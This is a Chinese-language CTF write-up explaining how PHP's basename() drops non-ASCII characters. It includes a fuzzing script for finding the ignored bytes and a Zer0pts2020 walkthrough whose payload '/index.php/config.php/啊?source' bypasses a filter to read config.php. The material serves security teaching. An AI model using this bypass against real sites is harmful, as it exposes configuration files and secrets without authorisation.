0x01 basename()定义和用法
概念:basename()
函数返回路径中的文件名部分。
语法:basename(path,suffix)
主要参数:Path
描述:必需,规定要检查的路径。
例子:
<?php
$path = "/testweb/home.php";
//显示带有文件扩展名的文件名
echo basename($path);
//显示不带有文件扩展名的文件名
echo basename($path,".php");
?>
输出:
home.php
、home
0x02 绕过原理
basename
绕过最早出自于basename broken with non-ASCII-chars
报告,大致意思是:
With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.
在使用默认语言环境设置时,basename()
会删除文件名开头的非ASCII
字符。
测试代码:
<?php
$file = $_GET['file'];
echo basename($file);
返回结果:
http://localhost/?file=%ffindex.php/%ff
//index.php
http://localhost/?file=%ffindex.php
//index.php
http://localhost/?file=index.php%ff
//index.php
http://localhost/?file=index.php/%2b
//+
利用这个特性我们可以编写脚本Fuzz
出会被basename
忽略的字符,先测试一下URL编码:
<?php
highlight_file(__FILE__);
$filename = 'index.php';
for($i=0; $i<255; $i++){
$filename = $filename.'/'.chr($i);
if(basename($filename) === "index.php"){
echo $i.'<br>';
}
$filename = 'index.php';
}
返回结果:ASCII
值为47、128-255的字符均可以绕过basename()
其中47对应的符号为'/'
,在实际场景中没有利用价值
那么也就是说我们可以利用一部分不可见字符来绕过basename()
同时,在测试中也可以发现中文字符也是可以绕过basename()
例如汉字、?、《、》、;
等中文字符
0x03 例题
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
重点关注:
if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])
这个正则匹配了config.php/
为$_SERVER['PHP_SELF']
的结尾,我们可以在config.php/
后面加上不可见字符污染来绕过正则匹配
题目的考点在于highlight_file(basename($_SERVER['PHP_SELF']));
这里存在一个任意文件读取的漏洞,但是前提是需要source
值存在,这里的技巧在于:当我们传入index.php/config.php
时,仍然请求的是index.php
,但是当basename()
处理后,highlight_file()
得到的参数就变成了config.php
,从而我们就实现了任意文件包含。
结合上面的特性,我们可以构造出payload:
/index.php/config.php/啊?source
在鹤城杯2021EasyP
题目中也是同样的方法,只不过传递的参数变成了show_source
,用.
或者[
就可以将参数传过去,老Trick就不过多赘述了。
往期推荐 ●●
// 1
// 2
// 3
// 4
原文始发于微信公众号(雾晓安全):CTF中basename()绕过小结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论